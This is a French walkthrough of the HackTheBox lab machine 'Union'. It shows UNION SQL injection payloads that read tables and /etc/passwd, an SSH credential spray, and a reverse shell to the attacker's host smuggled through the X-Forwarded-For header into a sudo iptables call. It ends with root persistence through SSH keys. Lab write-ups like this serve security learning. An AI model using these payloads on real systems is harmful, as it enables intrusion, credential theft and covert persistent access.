Cette machine m’a appris plusieurs choses. D’abord, je ne connaissais pas la très pratique fonction group_concat() dans les requêtes SQL. J’ai aussi découvert que les en-têtes HTTP sont définis sous la forme HTTP_<HEADER_NAME> dans les scripts PHP. Et j’ai appris la commande utile sudo su - pour passer en root lorsqu’on peut utiliser sudo. Je m’attendais à quelque chose de plus difficile pour une machine de niveau moyen, mais je ne l’ai pas résolue entièrement tout seul : j’ai regardé la video d’IppSec et j’ai utilisé le mode guidé de temps en temps.
Énumération Link to heading
Vous arrivez sur une page où l’on peut saisir un nom d’utilisateur et vérifier si ce nom est déjà enregistré ou non.
J’ai eu l’idée d’essayer le nom d’utilisateur ippsec parce que cet utilisateur conçoit beaucoup de machines et que c’est une légende connue dans l’écosystème HackTheBox. J’ai donc eu la chance de constater que, parfois, le joueur est déjà enregistré :
Dans ce cas, on obtient le message ci-dessus, et quand le joueur n’est pas déjà enregistré, on voit :
Cliquer sur le lien nous emmène sur la page suivante :
Quand on saisit des choses au hasard, on n’obtient rien.
Comme il s’agit d’une requête SQL, on peut supposer que le backend interroge une base de données pour un certain joueur : si ce joueur est présent, il répond « not eligible » et, si c’est le cas, il transmet un lien et crée éventuellement l’utilisateur s’il termine le challenge. Donc, si l’on veut faire une injection SQL, il faut travailler avec des utilisateurs déjà enregistrés.
En jouant avec la requête, nous remarquons les éléments suivants :
Nous avons ajouté les caractères : '-- - et ces caractères ne sont pas reflétés dans la réponse ce qui indique qu’ils sont probablement interprétés par la syntaxe SQL en backend.
Exploitation Link to heading
Comme le nom de la machine est Union, on a un indice sur ce qu’il faut tenter ;)
Essayons une injection Union classique :
On voit que ça fonctionne sans erreur. Cependant, lorsque l’on fait :
La requête complète s’affiche, on est donc porté à penser qu’il n’y a qu’un seul champ que l’on peut unionner.
Essayons d’afficher toutes les bases de données :
Ça marche, mais il ne semble y avoir qu’une seule colonne affichée. Nous voudrions voir toutes les lignes ; pour cela, on peut utiliser une fonction SQL très pratique : group_concat() qui concatène tous les résultats en une seule chaîne :
Là, on peut voir toutes les bases de données intéressantes. En particulier celle non par défaut : november.
Voyons les tables de cette base :
On voit donc les tables : flag et players et on peut interroger leur contenu :
On constate que la table players ne contient qu’une seule colonne nommée player. Regardons son contenu :
Ces noms d’utilisateur pourraient servir plus tard, sauvegardons-les dans un fichier :
cat users.txt
ippsec
celesian
big0us
luska
tinyboy
Examinons la table flag :
Encore une fois, on ne voit qu’une colonne nommée one ; interrogeons-la :
Et là on obtient notre premier flag : UHC{F1rst_5tep_2_Qualify}.
On le saisit dans le champ dédié et nous recevons ce message :
Ce qui suggère que nous devrions pouvoir nous connecter en SSH à la cible — il n’y avait pas de service SSH lors du premier scan, mais il a peut-être été créé. En effet, quand on essaie de se connecter, on constate qu’un service SSH a été lancé.
On peut tenter de bruteforcer les connexions en utilisant les utilisateurs récoltés et le flag comme mot de passe :
nxc ssh 10.10.11.128 -u users.txt -p 'UHC{F1rst_5tep_2_Qualify}'
SSH 10.10.11.128 22 10.10.11.128 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3
SSH 10.10.11.128 22 10.10.11.128 [-] ippsec:UHC{F1rst_5tep_2_Qualify}
SSH 10.10.11.128 22 10.10.11.128 [-] celesian:UHC{F1rst_5tep_2_Qualify}
SSH 10.10.11.128 22 10.10.11.128 [-] big0us:UHC{F1rst_5tep_2_Qualify}
SSH 10.10.11.128 22 10.10.11.128 [-] luska:UHC{F1rst_5tep_2_Qualify}
SSH 10.10.11.128 22 10.10.11.128 [-] tinyboy:UHC{F1rst_5tep_2_Qualify}
Il faudra probablement réutiliser les requêtes SQL. Nous en avons déjà lancé pas mal avec succès ; le fait est qu’on peut aussi employer des requêtes SQL pour lire des fichiers sur le système, comme /etc/passwd par exemple :
Avec le payload :
player=ipps' union select group_concat(load_file("/etc/passwd"))-- -
On peut alors lire tout le fichier :
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/
On ne voit aucun autre utilisateur que root, mais restons prudents : il semble que ce ne soit pas tout le fichier. Il y a probablement une limite de longueur pour les noms d’utilisateur et donc pour le nombre de caractères que l’on peut lire depuis un fichier.
On peut aussi essayer de localiser et d’extraire le fichier firewall.php, c’est d’ailleurs celui d’où nous venons :
Chose intéressante (pas montrée dans la capture, désolé) : la ligne suivante :
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
qui indique qu’il pourrait être possible d’exécuter la commande iptables en tant que root, utile plus tard, même si cette commande n’est pas un GTFOBin.
On voit aussi une mention du fichier config.php, ce qui paraît prometteur :
Le fichier complet est ici :
<?php
session_start();
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
On obtient alors les identifiants : uhc:uhc-11qual-global-pw.
Essayons de nous connecter en SSH avec cet utilisateur.
Foothold / Escalade Link to heading
On voit que la connexion est acceptée :
ssh uhc@10.10.11.128
uhc@union:~$ whoami
uhc
uhc@union:~$ cat user.txt
<REDACTED>
On obtient notre premier flag !
Téléversons LinEnum.sh sur la cible :
scp ~/LinuxBins/LinEnum.sh uhc@10.10.11.128:/home/uhc
Exécutons-le :
uhc@union:~$ ./LinEnum.sh | tee -a enum_output.txt
Et téléchargeons les résultats :
scp uhc@10.10.11.128:/home/uhc/enum_output.txt ./
En regardant les résultats, on ne voit rien de spécialement intéressant.
On se rappelle de la commande exécutée avec sudo dans le fichier firewall.php. Malheureusement, on ne peut pas exécuter sudo avec notre utilisateur uhc actuel.
uhc@union:~$ sudo -l
[sudo] password for uhc:
Sorry, user uhc may not run sudo on union.
Lisons le fichier firewall.php puisqu’on ne pouvait le lire que partiellement tout à l’heure :
<?php
require('config.php');
if (!($_SESSION['Authenticated'])) {
echo "Access Denied";
exit;
}
?>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->
<div class="container">
<h1 class="text-center m-5">Join the UHC - November Qualifiers</h1>
</div>
<section class="bg-dark text-center p-5 mt-4">
<div class="container p-5">
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
<h1 class="text-white">Welcome Back!</h1>
<h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
</div>
</section>
</div>
Tout d’abord, on note la commande :
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
Dans le fichier /etc/passwd, on voit qu’il existait un utilisateur www-data, qui est généralement l’utilisateur exécutant le code des applications web. Il est donc raisonnable de supposer que l’utilisateur www-data peut exécuter sudo, et au minimum la commande iptables.
Ensuite, on remarque que le fichier utilise la variable $ip qui est définie par l’adresse IP distante comme le montre cette ligne :
$ip = $_SERVER['REMOTE_ADDR'];
À moins que la variable HTTP_FORWARDED_FOR soit définie comme ceci :
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
C’est quoi cette variable, me demanderez-vous ? Et bien c’est tout simplement l’en-tête HTTP de notre requête qui s’appelle : X_FORWARDED_FOR. Je ne le connaissais pas non plus, j’ai juste vu la solution ! x)
Donc si on définit cet en-tête dans une requête, on pourrait potentiellement injecter du code. Essayons d’injecter une reverse shell depuis revshells.
On lance :
nc -lvnp 1234
sur notre machine d’attaque puis on modifie la requête GET dans ZAP pour ajouter cet en-tête et injecter le payload :
/bin/sh -i >& /dev/tcp/10.10.14.15/1234 0>&1
En réalité le payload ci-dessus n’a pas fonctionné tel quel, j’ai donc légèrement modifié pour invoquer aussi bash :
bash -c "/bin/sh -i >& /dev/tcp/10.10.14.15/1234 0>&1"
Comme dans la requête ci-dessous :
GET http://10.10.11.128/firewall.php HTTP/1.1
host: 10.10.11.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://10.10.11.128/challenge.php
Connection: keep-alive
Cookie: PHPSESSID=fjc376hqidb5qll9r469q2rdan
Upgrade-Insecure-Requests: 1
Priority: u=0, i
X-FORWARDED-FOR: ; bash -c "/bin/sh -i >& /dev/tcp/10.10.14.15/1234 0>&1" ;
content-length: 0
Le serveur devrait donc exécuter la commande suivante :
sudo /usr/sbin/iptables -A INPUT -s ; bash -c "/bin/sh -i >& /dev/tcp/10.10.14.15/1234 0>&1" ; -j ACCEPT
Qui donne 3 commandes différentes :
sudo /usr/sbin/iptables -A INPUT -sbash -c "/bin/sh -i >& /dev/tcp/10.10.14.15/1234 0>&1"-j ACCEPT
La première n’est pas complète, elle devrait donc échouer. La seconde va envoyer une session shell à notre machine d’attaque, la troisième n’est même pas une commande.
Tout cela a pour résultat de nous accorder une session shell en tant que l’utilisateur www-data.
nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.128 47416
/bin/sh: 0: can't access tty; job control turned off
$
On peut élever cette session pour la rendre plus réactive. Invoquons un meilleur terminal :
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@union:~/html$
Envoyons la session en arrière-plan avec ctrl+z pour changer le mode de stty en raw :
stty raw -echo ; fg
[1] + 125899 continued nc -lvnp 1234
export TERM=xterm
www-data@union:~/html$
Ré-entrons dans la session et adaptons la taille de la fenêtre :
export TERM=xterm
Et on peut donc profiter d’un terminal qui fonctionne beaucoup mieux et qui sera beaucoup plus réactif.
Étudions les privilèges sudo de notre utilisateur :
www-data@union:~/html$ sudo -l
Matching Defaults entries for www-data on union:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on union:
(ALL : ALL) NOPASSWD: ALL
Comme l’indique le NOPASSWD: ALL, on peut incroyablement exécuter n’importe quelle commande en tant que root sans fournir le moindre mot de passe. On pourrait lire le flag dès maintenant :
www-data@union:~/html$ sudo cat /root/root.txt
<REDACTED>
Je pense qu’on peut dire que j’ai scellé l’Union !
Cependant, on peut également se débrouiller pour obtenir une session avec l’utilisateur root.
sudo -i
Parce que cette commande lance une session avec l’utilisateur cible, et l’utilisateur cible par défaut est root.
Vous pouvez aussi exécuter :
sudo su -
La commande su est utilisée pour lancer une session en tant qu’un autre utilisateur, et quand on spécifie le caractère - au lieu d’un nom d’utilisateur, cela va lancer une session avec l’utilisateur avec lequel on exécute la commande (avec une demande de mot de passe). Lorsque l’on utilise sudo juste avant, la commande est exécutée en tant que root, donc lance une session en tant que root, et ne demande pas de mot de passe.
Persistance Link to heading
Aussi, juste pour le fun, il est possible d’établir une forme de persistance (pas très subtile, mais quand même) en créant une paire de clés privée/publique :
root@union:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
On ajoute la clé publique au fichier authorized_keys :
root@union:~# cat .ssh/id_rsa.pub > .ssh/authorized_keys
Puis on modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion root et l’authentification par clé publique.
-
Remplacer :
#PermitRootLogin prohibit-passwordparPermitRootLogin yes -
Remplacer :
#PubkeyAuthentication yesparPubkeyAuthentication yes
Redémarrer le service SSH :
root@union:~# systemctl restart ssh
Ensuite, copier la clé privée sur la machine d’attaque (on peut littéralement la copier-coller) et définir les permissions à 400, soit -r-------- :
ls -l
<SNIP>
-r-------- 1 dvr dvr 2590 Oct 22 23:10:25 root_private_key
<SNIP>
On peut alors simplement se connecter en SSH en tant que root :
ssh -i root_private_key root@10.10.11.128
<SNIP>
Last login: Wed Oct 22 21:10:25 2025 from 10.10.14.15
root@union:~#
Et voilà, c’est fini !